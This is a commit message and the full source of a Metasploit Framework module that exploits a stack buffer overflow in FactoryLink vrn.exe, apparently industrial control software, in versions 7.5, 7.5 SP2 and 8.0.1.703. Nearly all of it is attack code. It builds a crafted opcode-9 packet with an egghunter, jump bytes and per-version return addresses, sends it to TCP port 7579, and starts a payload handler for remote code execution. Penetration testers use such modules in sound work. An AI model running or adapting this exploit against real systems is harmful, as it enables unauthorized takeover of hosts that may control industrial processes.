Adds FactorLink vrn.exe exploit from hal
git-svn-id: file:///home/svn/framework3/trunk@12995 4d416f70-5f16-0410-b530-b9f4589650da
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Egghunter
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'FactoryLink vrn.exe Opcode 9 Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2, and 8.0.1.703.
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By sending a specially crafted packet, an attacker may be able to execute arbitrary code.
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Originally found and posted by Luigi Auriemma.
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},
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'Author' =>
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[
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'Luigi Auriemma', # Public exploit
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'hal' # Metasploit module
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],
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt']
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 885,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'FactoryLink 7.5', { 'Ret' => 0x1c0106ac, 'padding' => 0 } ],
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[ 'FactoryLink 7.5 SP2', { 'Ret' => 0x1c01069c, 'padding' => 0 } ],
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[ 'FactoryLink 8.0.1.703', { 'Ret' => 0x1c01087c, 'padding' => 4 } ],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Mar 21 2011'))
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register_options([Opt::RPORT(7579)], self.class)
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end
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def exploit
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connect
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hunter = generate_egghunter(payload.encoded, payload_badchars,
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{ :checksum => true, :startreg => 'ebp'})
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egg = hunter[1]
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header = "\x3f\x3f\x3f\x3f"
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header << "\xff\x55"
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header << "\x09\x00"
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header << "\x3f\x3f\xff\xff\x00\x00\x3f\x3f"
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header << "\x01\x00\x3f\x3f\x3f\x3f\x3f\x3f"
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header << "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
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header << "\x3f\x3f"
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header << "\xff\xff\xff\xff"
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header << "\x3f\x3f"
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request = header
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request << rand_text_alpha_upper(100)
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request << egg
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request << ("C" * target['padding'])
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request << "\xeb\x06\x90\x90"
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request << [target.ret].pack('V')
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request << "C"*24
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request << hunter[0]
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request << rand_text_alpha_upper(100000)
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print_status("Trying target #{target.name} with #{request.size} bytes")
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sock.put(request)
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handler
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disconnect
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end
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end
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